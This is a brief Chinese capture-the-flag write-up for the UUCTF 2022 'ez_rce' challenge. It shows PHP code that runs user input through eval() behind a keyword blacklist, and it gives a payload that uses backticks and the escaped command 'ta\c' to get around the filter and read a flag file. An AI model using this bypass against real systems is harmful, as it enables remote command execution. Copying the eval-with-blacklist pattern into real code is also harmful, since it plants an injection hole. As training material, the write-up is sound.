[UUCTF 2022 新生赛]ez_rce

代码

居然都不输入参数,可恶!!!!!!!!!



<?php

## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????

if(isset($_GET['code'])){

    $code=$_GET['code'];

    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){

        echo '看看你输入的参数!!!不叫样子!!';echo '<br>';

        eval($code);

    }

    else{

        die("你想干什么?????????");

    }

}

else{

    echo "居然都不输入参数,可恶!!!!!!!!!";

    show_source(__FILE__);

}

过滤的有点多

但是 “反引号” 在PHP中会被当作SHELL命令执行

paylaod

http://node2.anna.nssctf.cn:28867/?code=printf(`ta\c /fffffffffflagafag`);

print —— 输出字符串
printf —— 返回值为输出字符串的长度,按照format格式参数直接输出字符串
sprintf —— 返回值为按照format格式参数格式化的字符串,不直接输出结果